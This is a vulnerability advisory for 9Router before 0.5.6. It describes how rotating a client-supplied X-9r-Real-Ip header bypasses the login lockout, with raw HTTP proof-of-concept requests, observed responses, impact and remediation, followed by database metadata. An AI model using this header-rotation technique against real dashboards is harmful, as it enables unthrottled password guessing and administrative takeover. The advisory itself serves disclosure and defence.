9Router is an AI router & token saver. Prior to 0.5.6, 9Router deployments that allow requests to reach Next.js without the sanitizing custom-server.js wrapper use the client-supplied X-9r-Real-Ip value as the bucket key in getClientIp, checkLock, and recordFail in src/lib/auth/loginLimiter.js for POST /api/auth/login. A remote unauthenticated attacker can rotate the header on every password guess so each request uses a new failed-attempt bucket and the five-attempt progressive lockout never returns HTTP 429. This permits unthrottled password guessing against the dashboard login and can lead to an administrative session if the password is recovered. This issue is fixed in version 0.5.6.
9Router is an AI router & token saver. Prior to 0.5.6, 9Router deployments that allow requests to reach Next.js without the sanitizing custom-server.js wrapper use the client-supplied X-9r-Real-Ip value as the bucket key in getClientIp, checkLock, and recordFail in src/lib/auth/loginLimiter.js for POST /api/auth/login. A remote unauthenticated attacker can rotate the header on every password guess so each request uses a new failed-attempt bucket and the five-attempt progressive lockout never returns HTTP 429. This permits unthrottled password guessing against the dashboard login and can lead to an administrative session if the password is recovered. This issue is fixed in version 0.5.6.
9Router is an AI router & token saver. Prior to 0.5.6, 9Router deployments that allow requests to reach Next.js without the sanitizing custom-server.js wrapper use the client-supplied X-9r-Real-Ip value as the bucket key in getClientIp, checkLock, and recordFail in src/lib/auth/loginLimiter.js for POST /api/auth/login. A remote unauthenticated attacker can rotate the header on every password guess so each request uses a new failed-attempt bucket and the five-attempt progressive lockout never returns HTTP 429. This permits unthrottled password guessing against the dashboard login and can lead to an administrative session if the password is recovered. This issue is fixed in version 0.5.6.
# Summary
9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.
# Affected Component
- `src/lib/auth/loginLimiter.js`
- `getClientIp()` — derives the rate-limit bucket key from the client-supplied `X-9r-Real-Ip` header
- `checkLock()` / `recordFail()` — per-IP progressive lockout (`MAX_FAILS_BEFORE_LOCK = 5`)
- `src/app/api/auth/login/route.js` — login endpoint protected by the above limiter
# Root Cause
The brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. `getClientIp()` returns the value of `X-9r-Real-Ip` directly. The design assumes this header is produced and sanitized only by the trusted `custom-server.js` wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:
```text
Untrusted Client Input
↓
X-9r-Real-Ip: <attacker-chosen, rotated each request>
↓
getClientIp() → distinct bucket per request
↓
recordFail()/checkLock() → threshold (5) never reached
↓
unlimited 401 attempts, no 429 lockout
```
# Attack Scenario
1. The instance is deployed in a mode that does not use `custom-server.js`, and the login endpoint is reachable by the attacker (the default bind is `0.0.0.0`).
2. The attacker submits password guesses to `POST /api/auth/login`, setting a different `X-9r-Real-Ip` value on each request (e.g., `10.0.0.1`, `10.0.0.2`, ...).
3. Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns `429`.
4. The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.
# Proof of Concept
## Baseline — fixed header value (lockout enforced)
Repeated `POST /api/auth/login` with a constant `X-9r-Real-Ip: 9.9.9.9` and body `{"password":"wrong"}`:
```http
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 9.9.9.9
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
```
Observed responses (sequential):
```text
#1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
#2 → 401 {"error":"Invalid password. 3 attempt(s) left before lockout.","remainingBeforeLock":3}
#3 → 401 {"error":"Invalid password. 2 attempt(s) left before lockout.","remainingBeforeLock":2}
#4 → 401 {"error":"Invalid password. 1 attempt(s) left before lockout.","remainingBeforeLock":1}
#5 → 429 Retry-After: 30
{"error":"Too many failed attempts. Try again in 30s. ...","retryAfter":30}
```
## Exploit — rotated header value (lockout bypassed)
Same request and body, but a different `X-9r-Real-Ip` per request, sent while `9.9.9.9` was already locked:
```http
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 10.0.0.1
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
```
Observed responses:
```text
X-9r-Real-Ip: 10.0.0.1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.2 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.3 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
```
<img width="1211" height="814" alt="Screenshot 2026-06-19 183338" src="https://github.com/user-attachments/assets/07e37cf3-1860-4a06-8b27-97a5f6b9be64" />
<img width="1208" height="816" alt="Screenshot 2026-06-19 183408" src="https://github.com/user-attachments/assets/27021c5c-cb29-4649-887e-8de46f4c6e1c" />
Every rotated value resets to `"4 attempt(s) left"` and never returns `429`, demonstrating unbounded guessing.
# Impact
The login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (`0.0.0.0`) and the existence of a default dashboard password, both of which lower the effort required to succeed.
# Remediation
- Do not derive the rate-limit key from a client-controllable header. Base `getClientIp()` on the transport-level peer address (`req.socket.remoteAddress`) for the limiter bucket.
- Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.
- If `custom-server.js` is required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-supplied `X-9r-*` headers at the edge before they reach the limiter.
- Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Sep 22, 2026, 4:09:07 PM
dateUpdated: Sep 22, 2026, 5:23:12 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-307 · CWE-807
Original publisher date fields
published: 2026-09-22T17:17:24.290
lastModified: 2026-09-22T18:17:15.100
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.